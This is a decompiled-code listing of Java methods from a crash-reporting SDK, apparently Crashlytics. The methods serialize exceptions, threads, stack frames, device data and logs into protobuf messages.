writeSessionEventAppExecutionException

Java Code
private static void writeSessionEventAppExecutionException(CodedOutputStream cos, TrimmedThrowableData exception, int chainDepth, int maxChainedExceptionsDepth, int field) throws Exception {
    cos.writeTag(field, 2);
    cos.writeRawVarint32(getEventAppExecutionExceptionSize(exception, 1, maxChainedExceptionsDepth));
    cos.writeBytes(1, ByteString.copyFromUtf8(exception.className));
    String message = exception.localizedMessage;
    if (message != null) {
        cos.writeBytes(3, ByteString.copyFromUtf8(message));
    }
    for (StackTraceElement element : exception.stacktrace) {
        writeFrame(cos, 4, element, true);
    }
    TrimmedThrowableData cause = exception.cause;
    if (cause == null) {
        return;
    }
    if (chainDepth < maxChainedExceptionsDepth) {
        writeSessionEventAppExecutionException(cos, cause, chainDepth + 1, maxChainedExceptionsDepth, 6);
        return;
    }
    int overflowCount = 0;
    while (cause != null) {
        cause = cause.cause;
        overflowCount++;
    }
    cos.writeUInt32(7, overflowCount);
}



182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207

writeThread

Java Code
private static void writeThread(CodedOutputStream cos, Thread thread, StackTraceElement[] stackTraceElements, int importance, boolean isCrashedThread) throws Exception {
    cos.writeTag(1, 2);
    cos.writeRawVarint32(getThreadSize(thread, stackTraceElements, importance, isCrashedThread));
    cos.writeBytes(1, ByteString.copyFromUtf8(thread.getName()));
    cos.writeUInt32(2, importance);
    for (StackTraceElement stackTraceElement : stackTraceElements) {
        writeFrame(cos, 3, stackTraceElement, isCrashedThread);
    }
}



209
210
211
212
213
214
215
216
217

writeFrame

Java Code
private static void writeFrame(CodedOutputStream cos, int fieldIndex, StackTraceElement element, boolean isCrashedThread) throws Exception {
    int i = 4;
    cos.writeTag(fieldIndex, 2);
    cos.writeRawVarint32(getFrameSize(element, isCrashedThread));
    if (element.isNativeMethod()) {
        cos.writeUInt64(1, (long) Math.max(element.getLineNumber(), 0));
    } else {
        cos.writeUInt64(1, 0);
    }
    cos.writeBytes(2, ByteString.copyFromUtf8(element.getClassName() + "." + element.getMethodName()));
    if (element.getFileName() != null) {
        cos.writeBytes(3, ByteString.copyFromUtf8(element.getFileName()));
    }
    if (!element.isNativeMethod() && element.getLineNumber() > 0) {
        cos.writeUInt64(4, (long) element.getLineNumber());
    }
    if (!isCrashedThread) {
        i = 0;
    }
    cos.writeUInt32(5, i);
}



219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239

writeSessionEventDevice

Java Code
private static void writeSessionEventDevice(CodedOutputStream cos, Float batteryLevel, int batteryVelocity, boolean proximityEnabled, int orientation, long heapAllocatedSize, long diskUsed) throws Exception {
    cos.writeTag(5, 2);
    cos.writeRawVarint32(getEventDeviceSize(batteryLevel, batteryVelocity, proximityEnabled, orientation, heapAllocatedSize, diskUsed));
    if (batteryLevel != null) {
        cos.writeFloat(1, batteryLevel.floatValue());
    }
    cos.writeSInt32(2, batteryVelocity);
    cos.writeBool(3, proximityEnabled);
    cos.writeUInt32(4, orientation);
    cos.writeUInt64(5, heapAllocatedSize);
    cos.writeUInt64(6, diskUsed);
}



241
242
243
244
245
246
247
248
249
250
251
252

writeSessionEventLog

Java Code
private static void writeSessionEventLog(CodedOutputStream cos, ByteString log) throws Exception {
    if (log != null) {
        cos.writeTag(6, 2);
        cos.writeRawVarint32(getEventLogSize(log));
        cos.writeBytes(1, log);
    }
}



254
255
256
257
258
259
260

getSessionAppSize

Java Code
private static int getSessionAppSize(ByteString packageName, ByteString apiKey, ByteString versionCode, ByteString versionName, ByteString installUuid, int deliveryMechanism, ByteString unityVersion) {
    int size = ((0 + CodedOutputStream.computeBytesSize(1, packageName)) + CodedOutputStream.computeBytesSize(2, versionCode)) + CodedOutputStream.computeBytesSize(3, versionName);
    int orgSize = getSessionAppOrgSize(apiKey);
    size = (size + ((CodedOutputStream.computeTagSize(5) + CodedOutputStream.computeRawVarint32Size(orgSize)) + orgSize)) + CodedOutputStream.computeBytesSize(6, installUuid);
    if (unityVersion != null) {
        size = (size + CodedOutputStream.computeBytesSize(8, UNITY_PLATFORM_BYTE_STRING)) + CodedOutputStream.computeBytesSize(9, unityVersion);
    }
    return size + CodedOutputStream.computeEnumSize(10, deliveryMechanism);
}



262
263
264
265
266
267
268
269
270

getSessionAppOrgSize

Java Code
private static int getSessionAppOrgSize(ByteString apiKey) {
    return 0 + CodedOutputStream.computeBytesSize(1, apiKey);
}



272
273
274

getSessionOSSize

Java Code
private static int getSessionOSSize(ByteString release, ByteString codeName, boolean isRooted) {
    return (((0 + CodedOutputStream.computeEnumSize(1, 3)) + CodedOutputStream.computeBytesSize(2, release)) + CodedOutputStream.computeBytesSize(3, codeName)) + CodedOutputStream.computeBoolSize(4, isRooted);
}



276
277
278

getDeviceIdentifierSize

Java Code
private static int getDeviceIdentifierSize(DeviceIdentifierType type, String value) {
    return CodedOutputStream.computeEnumSize(1, type.protobufIndex) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(value));
}



280
281
282

getSessionDeviceSize

Java Code
private static int getSessionDeviceSize(int arch, ByteString model, int availableProcessors, long totalRam, long diskSpace, boolean isEmulator, Map<DeviceIdentifierType, String> ids, int state, ByteString manufacturer, ByteString modelClass) {
    int i;
    int size = 0 + CodedOutputStream.computeEnumSize(3, arch);
    if (model == null) {
        i = 0;
    } else {
        i = CodedOutputStream.computeBytesSize(4, model);
    }
    size = ((((size + i) + CodedOutputStream.computeUInt32Size(5, availableProcessors)) + CodedOutputStream.computeUInt64Size(6, totalRam)) + CodedOutputStream.computeUInt64Size(7, diskSpace)) + CodedOutputStream.computeBoolSize(10, isEmulator);
    if (ids != null) {
        for (Entry<DeviceIdentifierType, String> id : ids.entrySet()) {
            int idSize = getDeviceIdentifierSize((DeviceIdentifierType) id.getKey(), (String) id.getValue());
            size += (CodedOutputStream.computeTagSize(11) + CodedOutputStream.computeRawVarint32Size(idSize)) + idSize;
        }
    }
    return ((size + CodedOutputStream.computeUInt32Size(12, state)) + (manufacturer == null ? 0 : CodedOutputStream.computeBytesSize(13, manufacturer))) + (modelClass == null ? 0 : CodedOutputStream.computeBytesSize(14, modelClass));
}



284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300

getBinaryImageSize

Java Code
private static int getBinaryImageSize(ByteString packageNameBytes, ByteString optionalBuildIdBytes) {
    int size = ((0 + CodedOutputStream.computeUInt64Size(1, 0)) + CodedOutputStream.computeUInt64Size(2, 0)) + CodedOutputStream.computeBytesSize(3, packageNameBytes);
    if (optionalBuildIdBytes != null) {
        return size + CodedOutputStream.computeBytesSize(4, optionalBuildIdBytes);
    }
    return size;
}



302
303
304
305
306
307
308

getSessionEventSize

Java Code
private static int getSessionEventSize(long eventTime, String eventType, TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, int maxChainedExceptionsDepth, Map<String, String> customAttributes, RunningAppProcessInfo runningAppProcessInfo, int orientation, ByteString packageNameBytes, ByteString optionalBuildIdBytes, Float batteryLevel, int batteryVelocity, boolean proximityEnabled, long heapAllocatedSize, long diskUsed, ByteString log) {
    int size = (0 + CodedOutputStream.computeUInt64Size(1, eventTime)) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(eventType));
    int eventAppSize = getEventAppSize(exception, exceptionThread, exceptionStack, otherThreads, otherStacks, maxChainedExceptionsDepth, packageNameBytes, optionalBuildIdBytes, customAttributes, runningAppProcessInfo, orientation);
    size += (CodedOutputStream.computeTagSize(3) + CodedOutputStream.computeRawVarint32Size(eventAppSize)) + eventAppSize;
    int eventDeviceSize = getEventDeviceSize(batteryLevel, batteryVelocity, proximityEnabled, orientation, heapAllocatedSize, diskUsed);
    size += (CodedOutputStream.computeTagSize(5) + CodedOutputStream.computeRawVarint32Size(eventDeviceSize)) + eventDeviceSize;
    if (log == null) {
        return size;
    }
    int logSize = getEventLogSize(log);
    return size + ((CodedOutputStream.computeTagSize(6) + CodedOutputStream.computeRawVarint32Size(logSize)) + logSize);
}



310
311
312
313
314
315
316
317
318
319
320
321

getEventAppSize

Java Code
private static int getEventAppSize(TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, int maxChainedExceptionsDepth, ByteString packageNameBytes, ByteString optionalBuildIdBytes, Map<String, String> customAttributes, RunningAppProcessInfo runningAppProcessInfo, int orientation) {
    int executionSize = getEventAppExecutionSize(exception, exceptionThread, exceptionStack, otherThreads, otherStacks, maxChainedExceptionsDepth, packageNameBytes, optionalBuildIdBytes);
    int size = 0 + ((CodedOutputStream.computeTagSize(1) + CodedOutputStream.computeRawVarint32Size(executionSize)) + executionSize);
    if (customAttributes != null) {
        for (Entry<String, String> entry : customAttributes.entrySet()) {
            int entrySize = getEventAppCustomAttributeSize((String) entry.getKey(), (String) entry.getValue());
            size += (CodedOutputStream.computeTagSize(2) + CodedOutputStream.computeRawVarint32Size(entrySize)) + entrySize;
        }
    }
    if (runningAppProcessInfo != null) {
        size += CodedOutputStream.computeBoolSize(3, runningAppProcessInfo.importance != 100);
    }
    return size + CodedOutputStream.computeUInt32Size(4, orientation);
}



323
324
325
326
327
328
329
330
331
332
333
334
335
336

getEventAppExecutionSize

Java Code
private static int getEventAppExecutionSize(TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, int maxChainedExceptionDepth, ByteString packageNameBytes, ByteString optionalBuildIdBytes) {
    int threadSize = getThreadSize(exceptionThread, exceptionStack, 4, true);
    int size = 0 + ((CodedOutputStream.computeTagSize(1) + CodedOutputStream.computeRawVarint32Size(threadSize)) + threadSize);
    int len = otherThreads.length;
    for (int i = 0; i < len; i++) {
        threadSize = getThreadSize(otherThreads[i], (StackTraceElement[]) otherStacks.get(i), 0, false);
        size += (CodedOutputStream.computeTagSize(1) + CodedOutputStream.computeRawVarint32Size(threadSize)) + threadSize;
    }
    int exceptionSize = getEventAppExecutionExceptionSize(exception, 1, maxChainedExceptionDepth);
    size += (CodedOutputStream.computeTagSize(2) + CodedOutputStream.computeRawVarint32Size(exceptionSize)) + exceptionSize;
    int signalSize = getEventAppExecutionSignalSize();
    size += (CodedOutputStream.computeTagSize(3) + CodedOutputStream.computeRawVarint32Size(signalSize)) + signalSize;
    int binaryImageSize = getBinaryImageSize(packageNameBytes, optionalBuildIdBytes);
    return size + ((CodedOutputStream.computeTagSize(3) + CodedOutputStream.computeRawVarint32Size(binaryImageSize)) + binaryImageSize);
}



338
339
340
341
342
343
344
345
346
347
348
349
350
351
352

getEventAppCustomAttributeSize

Java Code
private static int getEventAppCustomAttributeSize(String key, String value) {
    int size = CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(key));
    if (value == null) {
        value = "";
    }
    return size + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(value));
}



354
355
356
357
358
359
360

getEventDeviceSize

Java Code
private static int getEventDeviceSize(Float batteryLevel, int batteryVelocity, boolean proximityEnabled, int orientation, long heapAllocatedSize, long diskUsed) {
    int size = 0;
    if (batteryLevel != null) {
        size = 0 + CodedOutputStream.computeFloatSize(1, batteryLevel.floatValue());
    }
    return ((((size + CodedOutputStream.computeSInt32Size(2, batteryVelocity)) + CodedOutputStream.computeBoolSize(3, proximityEnabled)) + CodedOutputStream.computeUInt32Size(4, orientation)) + CodedOutputStream.computeUInt64Size(5, heapAllocatedSize)) + CodedOutputStream.computeUInt64Size(6, diskUsed);
}



362
363
364
365
366
367
368

getEventLogSize

Java Code
private static int getEventLogSize(ByteString log) {
    return CodedOutputStream.computeBytesSize(1, log);
}



370
371
372

getEventAppExecutionExceptionSize

Java Code
private static int getEventAppExecutionExceptionSize(TrimmedThrowableData ex, int chainDepth, int maxChainedExceptionsDepth) {
    int size = 0 + CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(ex.className));
    String message = ex.localizedMessage;
    if (message != null) {
        size += CodedOutputStream.computeBytesSize(3, ByteString.copyFromUtf8(message));
    }
    for (StackTraceElement element : ex.stacktrace) {
        int frameSize = getFrameSize(element, true);
        size += (CodedOutputStream.computeTagSize(4) + CodedOutputStream.computeRawVarint32Size(frameSize)) + frameSize;
    }
    TrimmedThrowableData cause = ex.cause;
    if (cause == null) {
        return size;
    }
    if (chainDepth < maxChainedExceptionsDepth) {
        int exceptionSize = getEventAppExecutionExceptionSize(cause, chainDepth + 1, maxChainedExceptionsDepth);
        return size + ((CodedOutputStream.computeTagSize(6) + CodedOutputStream.computeRawVarint32Size(exceptionSize)) + exceptionSize);
    }
    int overflowCount = 0;
    while (cause != null) {
        cause = cause.cause;
        overflowCount++;
    }
    return size + CodedOutputStream.computeUInt32Size(7, overflowCount);
}



374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398

getEventAppExecutionSignalSize

Java Code
private static int getEventAppExecutionSignalSize() {
    return ((0 + CodedOutputStream.computeBytesSize(1, SIGNAL_DEFAULT_BYTE_STRING)) + CodedOutputStream.computeBytesSize(2, SIGNAL_DEFAULT_BYTE_STRING)) + CodedOutputStream.computeUInt64Size(3, 0);
}



400
401
402

getFrameSize

Java Code
private static int getFrameSize(StackTraceElement element, boolean isCrashedThread) {
    int size;
    int i = 2;
    if (element.isNativeMethod()) {
        size = 0 + CodedOutputStream.computeUInt64Size(1, (long) Math.max(element.getLineNumber(), 0));
    } else {
        size = 0 + CodedOutputStream.computeUInt64Size(1, 0);
    }
    size += CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(element.getClassName() + "." + element.getMethodName()));
    if (element.getFileName() != null) {
        size += CodedOutputStream.computeBytesSize(3, ByteString.copyFromUtf8(element.getFileName()));
    }
    if (!element.isNativeMethod() && element.getLineNumber() > 0) {
        size += CodedOutputStream.computeUInt64Size(4, (long) element.getLineNumber());
    }
    if (!isCrashedThread) {
        i = 0;
    }
    return size + CodedOutputStream.computeUInt32Size(5, i);
}



404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423

getThreadSize

Java Code
private static int getThreadSize(Thread thread, StackTraceElement[] stackTraceElements, int importance, boolean isCrashedThread) {
    int size = CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(thread.getName())) + CodedOutputStream.computeUInt32Size(2, importance);
    for (StackTraceElement stackTraceElement : stackTraceElements) {
        int frameSize = getFrameSize(stackTraceElement, isCrashedThread);
        size += (CodedOutputStream.computeTagSize(3) + CodedOutputStream.computeRawVarint32Size(frameSize)) + frameSize;
    }
    return size;
}



425
426
427
428
429
430
431
432

stringToByteString

Java Code
private static ByteString stringToByteString(String s) {
    return s == null ? null : ByteString.copyFromUtf8(s);
}



434
435
436

NativeCrashWriter

Java Code



createEventMessage

Java Code
private static EventMessage createEventMessage(SessionEventData crashEvent, LogFileManager logFileManager, Map<String, String> attributes) throws IOException {
    ApplicationMessage applicationMessage = new ApplicationMessage(new ExecutionMessage(new SignalMessage(crashEvent.signal != null ? crashEvent.signal : DEFAULT_SIGNAL), createThreadsMessage(crashEvent.threads), createBinaryImagesMessage(crashEvent.binaryImages)), createCustomAttributesMessage(mergeCustomAttributes(crashEvent.customAttributes, attributes)));
    ProtobufMessage deviceMessage = createDeviceMessage(crashEvent.deviceData);
    ByteString logByteString = logFileManager.getByteStringForLog();
    if (logByteString == null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "No log data to include with this event.");
    }
    logFileManager.clearLog();
    ProtobufMessage logMessage = logByteString != null ? new LogMessage(logByteString) : new NullMessage();
    return new EventMessage(crashEvent.timestamp, NDK_CRASH_TYPE, applicationMessage, deviceMessage, logMessage);
}



324
325
326
327
328
329
330
331
332
333
334

mergeCustomAttributes

Java Code
private static CustomAttributeData[] mergeCustomAttributes(CustomAttributeData[] ndkAttributes, Map<String, String> javaAttributes) {
    Map<String, String> sorted = new TreeMap(javaAttributes);
    if (ndkAttributes != null) {
        for (CustomAttributeData attr : ndkAttributes) {
            sorted.put(attr.key, attr.value);
        }
    }
    Entry[] entryArray = (Entry[]) sorted.entrySet().toArray(new Entry[sorted.size()]);
    CustomAttributeData[] merged = new CustomAttributeData[entryArray.length];
    for (int i = 0; i < merged.length; i++) {
        merged[i] = new CustomAttributeData((String) entryArray[i].getKey(), (String) entryArray[i].getValue());
    }
    return merged;
}



336
337
338
339
340
341
342
343
344
345
346
347
348
349

createDeviceMessage

Java Code
private static ProtobufMessage createDeviceMessage(DeviceData deviceData) {
    if (deviceData == null) {
        return new NullMessage();
    }
    return new DeviceMessage(((float) deviceData.batteryCapacity) / 100.0f, deviceData.batteryVelocity, deviceData.proximity, deviceData.orientation, deviceData.totalPhysicalMemory - deviceData.availablePhysicalMemory, deviceData.totalInternalStorage - deviceData.availableInternalStorage);
}



351
352
353
354
355
356

createThreadsMessage

Java Code
private static RepeatedMessage createThreadsMessage(ThreadData[] threads) {
    ThreadMessage[] threadMessages = threads != null ? new ThreadMessage[threads.length] : EMPTY_THREAD_MESSAGES;
    for (int threadIdx = 0; threadIdx < threadMessages.length; threadIdx++) {
        ThreadData threadData = threads[threadIdx];
        threadMessages[threadIdx] = new ThreadMessage(threadData, createFramesMessage(threadData.frames));
    }
    return new RepeatedMessage(threadMessages);
}



358
359
360
361
362
363
364
365

createFramesMessage

Java Code
private static RepeatedMessage createFramesMessage(FrameData[] frames) {
    FrameMessage[] frameMessages = frames != null ? new FrameMessage[frames.length] : EMPTY_FRAME_MESSAGES;
    for (int frameIdx = 0; frameIdx < frameMessages.length; frameIdx++) {
        frameMessages[frameIdx] = new FrameMessage(frames[frameIdx]);
    }
    return new RepeatedMessage(frameMessages);
}



367
368
369
370
371
372
373

createBinaryImagesMessage

Java Code
private static RepeatedMessage createBinaryImagesMessage(BinaryImageData[] binaryImages) {
    BinaryImageMessage[] binaryImageMessages = binaryImages != null ? new BinaryImageMessage[binaryImages.length] : EMPTY_BINARY_IMAGE_MESSAGES;
    for (int i = 0; i < binaryImageMessages.length; i++) {
        binaryImageMessages[i] = new BinaryImageMessage(binaryImages[i]);
    }
    return new RepeatedMessage(binaryImageMessages);
}



375
376
377
378
379
380
381

createCustomAttributesMessage

Java Code
private static RepeatedMessage createCustomAttributesMessage(CustomAttributeData[] customAttributes) {
    CustomAttributeMessage[] customAttributeMessages = customAttributes != null ? new CustomAttributeMessage[customAttributes.length] : EMPTY_CUSTOM_ATTRIBUTE_MESSAGES;
    for (int i = 0; i < customAttributeMessages.length; i++) {
        customAttributeMessages[i] = new CustomAttributeMessage(customAttributes[i]);
    }
    return new RepeatedMessage(customAttributeMessages);
}



383
384
385
386
387
388
389

writeNativeCrash

Java Code
public static void writeNativeCrash(SessionEventData crashEventData, LogFileManager logFileManager, Map<String, String> customAttributes, CodedOutputStream cos) throws IOException {
    createEventMessage(crashEventData, logFileManager, customAttributes).write(cos);
}



391
392
393

ProtobufMessage

Java Code
public ProtobufMessage(int tag, ProtobufMessage... children) {
    this.tag = tag;
    if (children == null) {
        children = NativeCrashWriter.EMPTY_CHILDREN;
    }
    this.children = children;
}



29
30
31
32
33
34
35

getSize

Java Code
public int getSize() {
    int size = getSizeNoTag();
    return (size + CodedOutputStream.computeRawVarint32Size(size)) + CodedOutputStream.computeTagSize(this.tag);
}



37
38
39
40

getSizeNoTag

Java Code
public int getSizeNoTag() {
    int size = getPropertiesSize();
    for (ProtobufMessage child : this.children) {
        size += child.getSize();
    }
    return size;
}



42
43
44
45
46
47
48

write

Java Code
public void write(CodedOutputStream cos) throws IOException {
    cos.writeTag(this.tag, 2);
    cos.writeRawVarint32(getSizeNoTag());
    writeProperties(cos);
    for (ProtobufMessage child : this.children) {
        child.write(cos);
    }
}



50
51
52
53
54
55
56
57

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return 0;
}



59
60
61

writeProperties

Java Code



ApplicationMessage

Java Code
public ApplicationMessage(ExecutionMessage executionMessage, RepeatedMessage customAttrs) {
    super(3, executionMessage, customAttrs);
}



70
71
72

BinaryImageMessage

Java Code
public BinaryImageMessage(BinaryImageData binaryImageData) {
    super(4, new ProtobufMessage[0]);
    this.baseAddr = binaryImageData.baseAddress;
    this.imageSize = binaryImageData.size;
    this.filePath = binaryImageData.path;
    this.uuid = binaryImageData.id;
}



82
83
84
85
86
87
88

getPropertiesSize

Java Code
public int getPropertiesSize() {
    int addrSize = CodedOutputStream.computeUInt64Size(1, this.baseAddr);
    return ((CodedOutputStream.computeBytesSize(3, ByteString.copyFromUtf8(this.filePath)) + addrSize) + CodedOutputStream.computeUInt64Size(2, this.imageSize)) + CodedOutputStream.computeBytesSize(4, ByteString.copyFromUtf8(this.uuid));
}



90
91
92
93

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeUInt64(1, this.baseAddr);
    cos.writeUInt64(2, this.imageSize);
    cos.writeBytes(3, ByteString.copyFromUtf8(this.filePath));
    cos.writeBytes(4, ByteString.copyFromUtf8(this.uuid));
}



95
96
97
98
99
100

CustomAttributeMessage

Java Code
public CustomAttributeMessage(CustomAttributeData customAttributeData) {
    super(2, new ProtobufMessage[0]);
    this.key = customAttributeData.key;
    this.value = customAttributeData.value;
}



108
109
110
111
112

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(this.key)) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(this.value == null ? "" : this.value));
}



114
115
116

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeBytes(1, ByteString.copyFromUtf8(this.key));
    cos.writeBytes(2, ByteString.copyFromUtf8(this.value == null ? "" : this.value));
}



118
119
120
121

DeviceMessage

Java Code
public DeviceMessage(float batteryLevel, int batteryVelocity, boolean proximityOn, int orientation, long ramUsed, long diskUsed) {
    super(5, new ProtobufMessage[0]);
    this.batteryLevel = batteryLevel;
    this.batteryVelocity = batteryVelocity;
    this.proximityOn = proximityOn;
    this.orientation = orientation;
    this.ramUsed = ramUsed;
    this.diskUsed = diskUsed;
}



133
134
135
136
137
138
139
140
141

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return (((((0 + CodedOutputStream.computeFloatSize(1, this.batteryLevel)) + CodedOutputStream.computeSInt32Size(2, this.batteryVelocity)) + CodedOutputStream.computeBoolSize(3, this.proximityOn)) + CodedOutputStream.computeUInt32Size(4, this.orientation)) + CodedOutputStream.computeUInt64Size(5, this.ramUsed)) + CodedOutputStream.computeUInt64Size(6, this.diskUsed);
}



143
144
145

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeFloat(1, this.batteryLevel);
    cos.writeSInt32(2, this.batteryVelocity);
    cos.writeBool(3, this.proximityOn);
    cos.writeUInt32(4, this.orientation);
    cos.writeUInt64(5, this.ramUsed);
    cos.writeUInt64(6, this.diskUsed);
}



147
148
149
150
151
152
153
154

EventMessage

Java Code
public EventMessage(long time, String crashType, ProtobufMessage... eventMessages) {
    super(PROTOBUF_TAG, eventMessages);
    this.time = time;
    this.crashType = crashType;
}



162
163
164
165
166

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return CodedOutputStream.computeUInt64Size(1, this.time) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(this.crashType));
}



168
169
170

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeUInt64(1, this.time);
    cos.writeBytes(2, ByteString.copyFromUtf8(this.crashType));
}



172
173
174
175

ExecutionMessage

Java Code
public ExecutionMessage(SignalMessage signalMessage, RepeatedMessage threads, RepeatedMessage binaryImages) {
    super(1, threads, signalMessage, binaryImages);
}



181
182
183

FrameMessage

Java Code
public FrameMessage(FrameData frameData) {
    super(3, new ProtobufMessage[0]);
    this.address = frameData.address;
    this.symbol = frameData.symbol;
    this.file = frameData.file;
    this.offset = frameData.offset;
    this.importance = frameData.importance;
}



194
195
196
197
198
199
200
201

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return (((CodedOutputStream.computeUInt64Size(1, this.address) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(this.symbol))) + CodedOutputStream.computeBytesSize(3, ByteString.copyFromUtf8(this.file))) + CodedOutputStream.computeUInt64Size(4, this.offset)) + CodedOutputStream.computeUInt32Size(5, this.importance);
}



203
204
205

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeUInt64(1, this.address);
    cos.writeBytes(2, ByteString.copyFromUtf8(this.symbol));
    cos.writeBytes(3, ByteString.copyFromUtf8(this.file));
    cos.writeUInt64(4, this.offset);
    cos.writeUInt32(5, this.importance);
}



207
208
209
210
211
212
213

LogMessage

Java Code
public LogMessage(ByteString logBytes) {
    super(PROTOBUF_TAG, new ProtobufMessage[0]);
    this.logBytes = logBytes;
}



220
221
222
223

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return CodedOutputStream.computeBytesSize(1, this.logBytes);
}



225
226
227

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeBytes(1, this.logBytes);
}



229
230
231

NullMessage

Java Code
public NullMessage() {
    super(0, new ProtobufMessage[0]);
}



235
236
237

write

Java Code



getSize

Java Code
public int getSize() {
    return 0;
}



242
243
244

RepeatedMessage

Java Code
public RepeatedMessage(ProtobufMessage... messages) {
    super(0, new ProtobufMessage[0]);
    this.messages = messages;
}



250
251
252
253

write

Java Code
public void write(CodedOutputStream cos) throws IOException {
    for (ProtobufMessage message : this.messages) {
        message.write(cos);
    }
}



255
256
257
258
259

getSize

Java Code
public int getSize() {
    int size = 0;
    for (ProtobufMessage message : this.messages) {
        size += message.getSize();
    }
    return size;
}



261
262
263
264
265
266
267

SignalMessage

Java Code
public SignalMessage(SignalData signalData) {
    super(3, new ProtobufMessage[0]);
    this.sigName = signalData.name;
    this.sigCode = signalData.code;
    this.sigAddr = signalData.faultAddress;
}



276
277
278
279
280
281

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return (CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(this.sigName)) + CodedOutputStream.computeBytesSize(2, ByteString.copyFromUtf8(this.sigCode))) + CodedOutputStream.computeUInt64Size(3, this.sigAddr);
}



283
284
285

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    cos.writeBytes(1, ByteString.copyFromUtf8(this.sigName));
    cos.writeBytes(2, ByteString.copyFromUtf8(this.sigCode));
    cos.writeUInt64(3, this.sigAddr);
}



287
288
289
290
291

ThreadMessage

Java Code
public ThreadMessage(ThreadData threadData, RepeatedMessage frames) {
    super(1, frames);
    this.name = threadData.name;
    this.importance = threadData.importance;
}



299
300
301
302
303

getPropertiesSize

Java Code
public int getPropertiesSize() {
    return CodedOutputStream.computeUInt32Size(2, this.importance) + (hasName() ? CodedOutputStream.computeBytesSize(1, ByteString.copyFromUtf8(this.name)) : 0);
}



305
306
307

writeProperties

Java Code
public void writeProperties(CodedOutputStream cos) throws IOException {
    if (hasName()) {
        cos.writeBytes(1, ByteString.copyFromUtf8(this.name));
    }
    cos.writeUInt32(2, this.importance);
}



309
310
311
312
313
314

hasName

Java Code
private boolean hasName() {
    return this.name != null && this.name.length() > 0;
}



316
317
318

<clinit>

Java Code



WireFormat

Java Code



getTagWireType

Java Code
static int getTagWireType(int tag) {
    return tag & TAG_TYPE_MASK;
}



102
103
104

getTagFieldNumber

Java Code
public static int getTagFieldNumber(int tag) {
    return tag >>> 3;
}



106
107
108

makeTag

Java Code
static int makeTag(int fieldNumber, int wireType) {
    return (fieldNumber << 3) | wireType;
}



110
111
112

isPackable

Java Code
public boolean isPackable() {
    return false;
}



30
31
32

isPackable

Java Code
public boolean isPackable() {
    return false;
}



35
36
37

isPackable

Java Code
public boolean isPackable() {
    return false;
}



40
41
42

isPackable

Java Code
public boolean isPackable() {
    return false;
}



45
46
47

FieldType

Java Code
private FieldType(JavaType javaType, int wireType) {
    this.javaType = javaType;
    this.wireType = wireType;
}



59
60
61
62

getJavaType

Java Code
public JavaType getJavaType() {
    return this.javaType;
}



64
65
66

getWireType

Java Code
public int getWireType() {
    return this.wireType;
}



68
69
70

isPackable

Java Code
public boolean isPackable() {
    return true;
}



72
73
74

<clinit>

Java Code



JavaType

Java Code
private JavaType(Object defaultDefault) {
    this.defaultDefault = defaultDefault;
}



90
91
92

getDefaultDefault

Java Code
Object getDefaultDefault() {
    return this.defaultDefault;
}



94
95
96

closeLogFile

Java Code



deleteLogFile

Java Code



getLogAsByteString

Java Code



writeToLog

Java Code



CrashlyticsBackgroundWorker

Java Code
public CrashlyticsBackgroundWorker(ExecutorService executorService) {
    this.executorService = executorService;
}



14
15
16

submitAndWait

Java Code
<T> T submitAndWait(Callable<T> callable) {
    try {
        if (Looper.getMainLooper() == Looper.myLooper()) {
            return this.executorService.submit(callable).get(4, TimeUnit.SECONDS);
        }
        return this.executorService.submit(callable).get();
    } catch (RejectedExecutionException e) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Executor is shut down because we're handling a fatal crash.");
        return null;
    } catch (Exception e2) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to execute task.", e2);
        return null;
    }
}



18
19
20
21
22
23
24
25
26
27
28
29
30
31

submit

Java Code
Future<?> submit(final Runnable runnable) {
    try {
        return this.executorService.submit(new Runnable() {
            public void run() {
                try {
                    runnable.run();
                } catch (Exception e) {
                    Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to execute task.", e);
                }
            }
        });
    } catch (RejectedExecutionException e) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Executor is shut down because we're handling a fatal crash.");
        return null;
    }
}



33
34
35
36
37
38
39
40
41
42
